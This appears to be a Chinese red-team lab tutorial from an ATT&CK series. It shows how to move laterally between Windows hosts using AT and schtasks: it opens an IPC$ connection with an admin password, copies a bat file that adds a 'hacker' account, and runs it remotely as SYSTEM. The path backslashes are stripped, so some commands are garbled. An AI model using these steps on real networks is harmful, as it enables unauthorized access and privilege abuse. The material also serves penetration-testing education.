一.前言
Windows计划任务是一个非常实用的功能,可以帮助我们自动完成一些重复性的任务。比如,我们可以设定一个计划任务来自动备份文件、更新软件、执行脚本等,本文主要介绍了如何利用Windows计划任务进行横向渗透。
二.前文推荐
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透
ATT&CK视角下的红蓝对抗:六.内网穿透之利用FRP进行隧道穿透
ATT&CK视角下的红蓝对抗:七.内网穿透之利用Venom进行隧道穿透
ATT&CK视角下的红蓝对抗:八.内网穿透之利用Termite进行隧道穿透
ATT&CK视角下的红蓝对抗:九.内网穿透之利用GRE协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十.内网穿透之利用DNS协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十一.内网穿透之利用SSH协议进行隧道穿透
ATT&CK视角下的红蓝对抗:十二.内网穿透之Windows文件传输技术详解
ATT&CK视角下的红蓝对抗:十三.内网穿透之Linux文件传输技巧详解
ATT&CK视角下的红蓝对抗:十四.内网穿透之反弹流量分析与检测方法
ATT&CK视角下的红蓝对抗:十五.内网穿透之利用ICMP协议进行隧道穿透
三.利用Windows计划任务横向移动
我们可以利用计划任务自带的执行属性去执行指定命令或运行指定程序,在本篇文章中笔者将会介绍如何计划任务自带的远程创建计划任务的功能去进行横向渗透,本节所使用的实验拓扑如图1-1所示,将会介绍如何在通过跳板机在靶标中远程创建计划任务并执行指定程序。
表1-1利用计划任务进行横向渗透实验环境
主机 | 服务类型 | IP地址 |
---|---|---|
Kali 2022 | 攻击机 | 10.10.10.2 |
Windows 2012 R2 | 跳板机 | 10.10.10.3、192.168.1.2 |
Windows 2008 R2 | 核心靶标 | 10.10.10.4、192.168.1.3 |
1. AT命令
AT命令是schtasks命令的前身,在Windows系统中主要用于创建和管理计划任务。在使用AT命令进行横向渗透之前,需要与目标建立IPC$连接。
1)目前已知靶标机器Administrator的密码为Admin123.,使用命令net use \192.168.1.3IPC$ "Admin123." /user:"administrator"来建立ICP$连接,命令执行结果如图1-2所示。使用命令net use可以查看IPC$连接是否创建成功。
2)创建一个能够创建用户的bat脚本,内容为net user hacker Admin123. /add,将该bat脚本命名为add.bat,如图1-3所示。
3)使用命令copy add.bat \192.168.1.3C$ 将bat脚本复制到目标主机C盘根目录下,命令执行结果如图1-4所示。
4)使用命令at \192.168.1.3 14:27 C:add.bat创建一个在14:27执行的定时任务来执行bat文件,如图1-5所示。
5)当执行完成后,在目标主机上查看结果,可以看到hacker用户被成功添加,如图1-6所示。
2. Schtasks命令
schtasks命令是at命令的升级版,拥有更加自由地配置选项,在前面的内容中有过详细介绍,这里不赘述,通过表1-2来简单复习一下该命令参数。
表1-2 schtasks命令参数
命令参数 | 作用 |
---|---|
/S | 指定连接的远程IP |
/U | 指定用户名 |
/P | 指定用户名的密码 |
/RU | 指定用户权限 |
/TN | 任务计划名称 |
/SC | 制定计划类型 |
/TR | 指定任务运行的程序 |
/MO | 执行任务计划执行周期 |
1)在跳板机上使用命令net use \192.168.1.3IPC$ Password@123 /user:Administrator与核心靶标建立IPC连接,如图1-7所示。
2)当建立好连接后,创建一个bat文件,写入内容start C:windowssystem32calc.exe,并将文件名修改为calc.bat,如图1-8所示。
3)使用命令copy calc.bat \192.168.1.3c$把calc.bat文件复制到靶标机器的C盘根目录下,如图1-9所示。
4)使用命令schtasks /create /s 192.168.1.3 /ru "SYSTEM" /tn calc /sc DAILY /tr c:calc.bat /F在靶标机器上创建一个名为calc的计划任务,该计划任务将会以SYSTEM权限运行calc.bat打开计算机。命令执行结果如图1-10所示。
5)上述操作完成后,使用schtasks /run /s 192.168.1.3 /tn calc /i命令在目标机运行calc计划任务,通过运行上传的bat文件来打开靶标的计算机程序,命令执行结果如图1-11所示,可以得知计划任务成功运行。
6)此时靶标机器成功运行了计划任务并打开了计算机程序,如图1-12所示。
四.本篇总结
本文介绍了如何利用Windows计划任务进行横向渗透。首先,通过AT命令创建和管理计划任务,建立IPC$连接,创建bat脚本并复制到目标主机,使用at命令创建定时任务执行脚本。接着,使用schtasks命令升级at命令,通过指定远程IP、用户名、密码、用户权限、任务计划名称、计划类型、任务运行的程序、执行周期等参数,创建计划任务并执行。
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!